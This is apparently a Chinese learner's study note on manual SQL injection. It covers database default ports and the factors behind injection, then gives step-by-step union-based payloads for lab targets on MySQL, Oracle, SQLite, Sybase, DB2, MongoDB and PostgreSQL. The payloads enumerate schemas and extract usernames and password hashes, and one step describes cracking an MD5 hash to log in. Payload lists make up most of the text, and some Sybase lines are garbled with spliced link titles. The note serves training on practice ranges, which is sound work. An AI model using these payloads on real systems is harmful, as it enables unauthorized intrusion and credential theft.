第五十三天(sql注入)
数据库知识:
1、数据库名,表名,列名,数据
2、自带数据库,数据库用户及权限
information_schema、mysql、performance_schema、sys
3、数据库敏感函数,默认端口及应用
关系型数据库
1、MySql数据库 ,默认端口是: 3306;
2、Oracle数据库 ,默认端口号为:1521;
3、Sql Server数据库 ,默认端口号为:1433;
4、DB2数据库, 默认端口号为:5000;
5、PostgreSQL数据库, 默认端口号为:5432;
6、国产的DM达梦数据库, 默认端口号为:5236。
NoSql数据库(非关系型数据库):
1.Redis数据库,默认端口号:6379;
2.Memcached数据库,默认端口号:11211 ;
3.MongoDB数据库,默认端口号:27017;
4、数据库查询方法(增加删除修改查看)
查看select 增加insert 修改update 删除delect
SQL注入产生原理:
代码中执行的SQL语句存在可控变量导致
影响SQL注入的主要因素:
1、数据库类型(权限操作)
根据不同的数据库,要用到对应的数据库中的sql语句
2、数据操作方法(增删改查)
看网站中输入的内容是干什么的,比如:注册用户时,用到的是insert插入方法;登录时用到的时select方法;注销用户时用的是delect方法;修改个人信息时,用的的是update方法等,根据不同的场景判断调用的是什么方法, 然后根据用的什么方法去找这个方法
根据方法来写后面的注入语句,达到相同的效果
3、参数数据类型(符号干扰)
看接收的是否是int类型或者string类型等,int类型时的查询可以不用引号包裹,字段类型是string类型时要用单引号或双引号进行包裹
int类型字段查询
string类型的字段查询
从上面的图片可以知道,如果不对查询字段的’和”进行闭合的话,工具语句写进去了也不会执行 ,只会当成查找的字符串了;所以要考虑是否需要闭合,还有闭合的是单引号还是双引号,这里只考虑这几个,那就可以都试一遍,如果都不行就说明这里不存在注入漏洞
4、参数数据格式(加密编码等)
传输的数据在前端加密了,然后到后端解密后,再进行数据的处理
看传递的数据是否是进行了加密或者编码,加密和编码了就要在发送数据时同样要以加密或编码格式发送过去,不然到后端时解码或解密时,因数据格式不对,解码和解密的东西不对,无法正常验证,无法正常进入逻辑
还要考虑数据提交的格式,比如用什么格式提交的,如:xml,json等。也可能会两个一起,所以都要考虑到
5、提交数据方式(数据包部分)
get,post 等,它们接收处理的数据是不同的
6、有无数据处理(无回显逻辑等)
就是要看是注入语句是否正常执行,比如注入时,加了一个查询语句,那么它查询出来的数据会不会显示出来;如果有显示出来,那么就可以判断是有注入点。没有的话,就要换其他方式测试,比如,加一个延时,让数据延时几秒后再发送,如果访问延时了,那么也可以确定有注入点
常见SQL注入的利用过程:
1、判断数据库类型
2、判断参数类型及格式
3、判断数据格式及提交
4、判断数据回显及防护
5、获取数据库名,表名,列名
6、获取对应数据及尝试其他利用
黑盒/白盒如何发现SQL注入
1、盲对所有参数进行测试
优点:不会漏测
缺点:无法正确判断是否有注入点,如果对接收的数据进行了编码和加密操作,还有格式要求,以及数据类型等,就无法正常测试出来需要手工测试
2、整合功能点脑补进行测试
比如用户注册,里面有验证码什么的,用工具就测试不了了,就得手工测试了,
白盒参考后期代码审计课程
利用过程:(不管什么数据库操作流程都是这样,只不过是sql语句的写法不同罢了)
获取数据库名->表名->列名->数据(一般是关键数据,如管理员)
靶场:
Acunetix Web Vulnerability Scanner - Test websites
SQL手工注入专题(SQL Injection)_墨者学院
Access:已经基本淘汰 意义不大
Mssql
Acunetix Web Vulnerability Scanner - Test websites
Mysql
墨者学院 SQL手工注入漏洞测试(MySQL数据库)_墨者学院sql手工注入漏洞测试(mysql数据库)-CSDN博客
流程:先确定是否有注入点,有注入点之后就查看当前数据库;然后根据默认的数据库中查找当前数据库中所有的表名,筛选出可能存在用户名和密码的表;然后根据表名去默认的数据库中查当前表的所有字段名;根据字段名再去表中查找数据
ip =1 and 1=1 (查看是否能正常)
ip =1 and 1=2 (页面是否异常,还是直接跳转到容错页面)
id=-1 union select 1,database(),3,4 (查当前数据库名)
id=-1union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' (查表名)
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member' (查字段名)
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member (查数据)
ip =1 and 1=1 正常输出页面内容
ip =1 and 1=2 页面异常,说明接收了语句
ip=1 order by 4 测试目标查询返回的结果集有多少列 ;探测列数是后续使用 union select 注入的前提
ip=1 order by 5 测试目标查询的列为5 时,报错,说明查询的列数是4列
ip=-1 union select 1,2,3,4 先让前面的查询结果显示为空,因为多数的应用在开发时只会显示第一个查询到的结果;
id=-1%20union%20select%201,database(),3,4 知道回显的列后,在回显位置上上输入数据库函数;查询到当前数据库名
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
根据数据库名查询该数据库中存在的表名,group_concat 函数是将查询到的结果整合成一条进行输出,因为上面有说到只会输出一个查询结果,如果不进行整合就只会输出第一条数据,只会查到第一个表名,所以sql语句要这样写
id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
查询表中的所有字段名,根据查询到的字段名,是否包含user,username,pass,password等字样,如果有就基本可以确定这是一个存储了账号密码的表
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
查询表中指定字段的所有值, 这里有两个用户,用户名都为mozhe,密码看起来符合md5加密,丢到md5解密的工具中
成功解密出密码,分别将两个密码都丢进去试试,只有一个是对的
用正确的账号密码进行登录,拿到key
Oracle
SQL手工注入漏洞测试(Oracle数据库)——墨者学院-CSDN博客
and 1=1
and 1=2
order by 2
order by 3
and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables where rownum=1),'2' from dual
and 1=2 union select (select table_name from user_tables where rownum=1 and table_name like '%user%'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
and 1=2 union select (select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')),'2' from dual
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from "sns_users" where user_name not in ('hu')
SQLite
06#墨者靶场-SQL手工注入漏洞测试(SQLite数据库)-CSDN博客
union select 1,name,sql,4 from sqlite_master limit 0,1
union select 1,name,password,4 from WSTMart_reg
Sybase
id=-1 union all select null,db_name(),null,null
id=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects
id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login')
id=-1 union all select null,name,null,null from mozhe_Deepthroat..syscolumns where id=object_id('Deepthroat_login') and name<>'id'
id=-1 union all select null,name,null,SQL手工注入漏洞测试(MongoDB数据库)-CSDN博客
word,null,null from Deepthroat_loPostGREsql手工注入攻略_pgsql sql注入-CSDN博客
DB2
id=-1 union select 1,2,3,4 from syscat.tables
id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 2,1
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 1,1
id=-1 union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 2,1
MongoDB
SQL手工注入漏洞测试(MongoDB数据库)-CSDN博客
id=1'});return ({title:'1',content:'2
id=1 '});return ({content:tojson(db.getCollectionNames()),title:'1
id=1 '});return ({content:tojson(db.Authority_confidential.find()[0]),title:'
PostgreSQL
PostGREsql手工注入攻略_pgsql sql注入-CSDN博客
and 1=2
and 1=2
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null
and 1=2 union select null,null,string_agg(datname,','),null from pg_database
and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users